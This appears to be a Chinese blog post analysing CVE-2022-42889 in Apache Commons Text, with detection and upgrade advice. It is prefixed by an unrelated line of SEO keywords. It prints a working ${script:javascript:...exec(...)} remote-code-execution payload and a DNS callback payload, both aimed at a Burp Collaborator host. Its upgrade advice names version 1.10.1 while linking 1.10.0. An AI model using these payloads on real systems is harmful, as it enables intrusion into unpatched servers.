网站建设改版攻略,网站怎么做营销策划,一个企业的网站建设,免费域名空间申请网址0x00 前言
所幸遇到#xff0c;就简单看看#xff0c;其中没有啥比较难的地方#xff0c;仅做记录。10月13日的漏洞。 cve链接可以看下面这个#xff1a; https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2022-42889
git地址#xff1a; https://github.com/apache…0x00 前言
所幸遇到就简单看看其中没有啥比较难的地方仅做记录。10月13日的漏洞。 cve链接可以看下面这个 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2022-42889
git地址 https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea
0x01 漏洞利用方式
写了一个简单的demo先看利用结果在一定条件下可以rce。基础payload用表达式注入的方式就行。
直接给payload的懒得看图片再敲一遍${script:javascript:(java.lang.Runtime).getRuntime().exec(ping 97efkw0hlpswqx8j95bcxbaaz15rtg.burpcollaborator.net)}
0x02 原理简要分析
出现问题的点在StringSubstitutor的replace方法这。 接着往下跟substitute会进去进行解析循环 走到resolveVariable就会进行look的调用 因为找到StringSubstitutor调用的ScriptStringLookup ScriptEngine scriptEngine (new ScriptEngineManager()).getEngineByName(engineName);获取加载器 加载器差不多就是这些也可以调试自己看。 最后调用return Objects.toString(scriptEngine.eval(script), (String)null);进行执行。
除了可以使用script:也可以使用dns:,http:。
dns底层这个可以用来测试
payload ${dns:97efkw0hlpswqx8j95bcxbaaz15rtg.burpcollaborator.net}
http底层
0x03 检测和防护
并不是版本低就一定会触发这个漏洞主要还是通过StringSubstitutor进行触发StrSubstitutor是不会触发的
StrSubstitutor这里只有这个操作。 1、检测方式 全局搜索StringSubstitutor的调用。目前已知不排除其他利用方式
防护可参考https://github.com/apache/commons-text/releases/tag/rel%2Fcommons-text-1.10.0
2、直接升级1.10.1就行